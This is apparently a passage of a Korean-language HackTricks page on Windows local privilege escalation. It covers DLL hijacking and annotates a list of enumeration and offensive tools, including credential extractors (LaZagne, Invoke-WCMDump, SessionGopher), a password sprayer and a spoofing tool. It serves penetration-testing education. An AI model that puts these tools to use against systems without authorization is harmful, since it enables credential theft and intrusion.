SYSTEM์œผ๋กœ ์‹คํ–‰๋˜๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋กœ๋“œํ•˜๋Š” dll์„ hijackํ•˜๋Š” ๋ฐ ์„ฑ๊ณตํ•˜๋ฉด ํ•ด๋‹น ๊ถŒํ•œ์œผ๋กœ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ Dll Hijacking์€ ์ด๋Ÿฌํ•œ ๊ถŒํ•œ ์ƒ์Šน์— ์œ ์šฉํ•˜๋ฉฐ, ํŠนํžˆ high integrity ํ”„๋กœ์„ธ์Šค์—์„œ๋Š” DLL์„ ๋กœ๋“œํ•˜๋Š” ํด๋”์— ๋Œ€ํ•œ write permissions๊ฐ€ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ํ›จ์”ฌ ๋” ์‰ฝ๊ฒŒ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

์ฝ๊ธฐ: https://github.com/itm4n/FullPowers

์ถ”๊ฐ€ ๋„์›€๋ง

Static impacket binaries

์œ ์šฉํ•œ ๋„๊ตฌ

Windows ๋กœ์ปฌ ๊ถŒํ•œ ์ƒ์Šน ๋ฒกํ„ฐ๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•œ ์ตœ๊ณ  ๋„๊ตฌ: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) โ€“ ๊ตฌ์„ฑ ์˜ค๋ฅ˜ ๋ฐ ๋ฏผ๊ฐํ•œ ํŒŒ์ผ์„ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค (check here). Detected.
JAWS โ€“ ์ผ๋ถ€ ๊ฐ€๋Šฅํ•œ ๊ตฌ์„ฑ ์˜ค๋ฅ˜๋ฅผ ํ™•์ธํ•˜๊ณ  ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค (check here).
privesc โ€“ ๊ตฌ์„ฑ ์˜ค๋ฅ˜๋ฅผ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค
SessionGopher โ€“ PuTTY, WinSCP, SuperPuTTY, FileZilla, RDP์˜ ์ €์žฅ๋œ ์„ธ์…˜ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค. ๋กœ์ปฌ์—์„œ -Thorough ์‚ฌ์šฉํ•˜์„ธ์š”.
Invoke-WCMDump โ€“ Credential Manager์—์„œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค. Detected.
DomainPasswordSpray โ€“ ์ˆ˜์ง‘๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋„๋ฉ”์ธ ์ „๋ฐ˜์— ์Šคํ”„๋ ˆ์ดํ•ฉ๋‹ˆ๋‹ค
Inveigh โ€“ Inveigh๋Š” PowerShell ๊ธฐ๋ฐ˜์˜ ADIDNS/LLMNR/mDNS/NBNS ์Šคํ‘ธํผ ๋ฐ ์ค‘๊ฐ„์ž ๋„๊ตฌ์ž…๋‹ˆ๋‹ค.
WindowsEnum โ€“ ๊ธฐ๋ณธ์ ์ธ Windows ๊ถŒํ•œ ์ƒ์Šน ์ •๋ณด ์—ด๊ฑฐ
Sherlock ~~~~ โ€“ ์•Œ๋ ค์ง„ privesc ์ทจ์•ฝ์ ์„ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค (Watson์œผ๋กœ ๋Œ€์ฒด๋˜์–ด ์‚ฌ์šฉ ์ค‘๋‹จ๋จ)
WINspect โ€“ ๋กœ์ปฌ ๊ฒ€์‚ฌ (Admin ๊ถŒํ•œ ํ•„์š”)

Exe

Watson โ€“ ์•Œ๋ ค์ง„ privesc ์ทจ์•ฝ์ ์„ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค (VisualStudio๋กœ ์ปดํŒŒ์ผํ•ด์•ผ ํ•จ) (precompiled)
SeatBelt โ€“ ํ˜ธ์ŠคํŠธ๋ฅผ ์—ด๊ฑฐํ•˜์—ฌ ๊ตฌ์„ฑ ์˜ค๋ฅ˜๋ฅผ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค (privesc ๋ณด๋‹ค๋Š” ์ •๋ณด ์ˆ˜์ง‘ ๋„๊ตฌ์— ๊ฐ€๊น์Šต๋‹ˆ๋‹ค) (์ปดํŒŒ์ผ ํ•„์š”) (precompiled)
LaZagne โ€“ ์—ฌ๋Ÿฌ ์†Œํ”„ํŠธ์›จ์–ด์—์„œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค (GitHub์— ์‚ฌ์ „ ์ปดํŒŒ์ผ๋œ exe ์žˆ์Œ)
SharpUP โ€“ PowerUp์˜ C# ํฌํŠธ
Beroot ~~~~ โ€“ ๊ตฌ์„ฑ ์˜ค๋ฅ˜ ๊ฒ€์‚ฌ (GitHub์— ์‚ฌ์ „ ์ปดํŒŒ์ผ๋œ ์‹คํ–‰ํŒŒ์ผ). ๊ถŒ์žฅํ•˜์ง€ ์•Š์Œ. Win10์—์„œ ์ž˜ ๋™์ž‘ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
Windows-Privesc-Check โ€“ ๊ฐ€๋Šฅํ•œ ๊ตฌ์„ฑ ์˜ค๋ฅ˜๋ฅผ ๊ฒ€์‚ฌํ•ฉ๋‹ˆ๋‹ค (python์œผ๋กœ ๋งŒ๋“  exe). ๊ถŒ์žฅํ•˜์ง€ ์•Š์Œ. Win10์—์„œ ์ž˜ ๋™์ž‘ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Bat

winPEASbat โ€“ ์ด ๊ฒŒ์‹œ๋ฌผ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ๋งŒ๋“  ๋„๊ตฌ์ž…๋‹ˆ๋‹ค (์ •์ƒ ์ž‘๋™์„ ์œ„ํ•ด accesschk๊ฐ€ ํ•„์š”ํ•˜์ง€ ์•Š์ง€๋งŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

Local

Windows-Exploit-Suggester โ€“ systeminfo ์ถœ๋ ฅ๋ฌผ์„ ์ฝ์–ด ์ž‘๋™ ๊ฐ€๋Šฅํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค (๋กœ์ปฌ python)
Windows Exploit Suggester Next Generation โ€“ systeminfo ์ถœ๋ ฅ๋ฌผ์„ ์ฝ์–ด ์ž‘๋™ ๊ฐ€๋Šฅํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค (๋กœ์ปฌ python)

Meterpreter

multi/recon/local_exploit_suggestor

ํ”„๋กœ์ ํŠธ๋Š” ์˜ฌ๋ฐ”๋ฅธ ๋ฒ„์ „์˜ .NET์œผ๋กœ ์ปดํŒŒ์ผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (see this). ํ”ผํ•ด์ž ํ˜ธ์ŠคํŠธ์— ์„ค์น˜๋œ .NET ๋ฒ„์ „์„ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์„ธ์š”:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ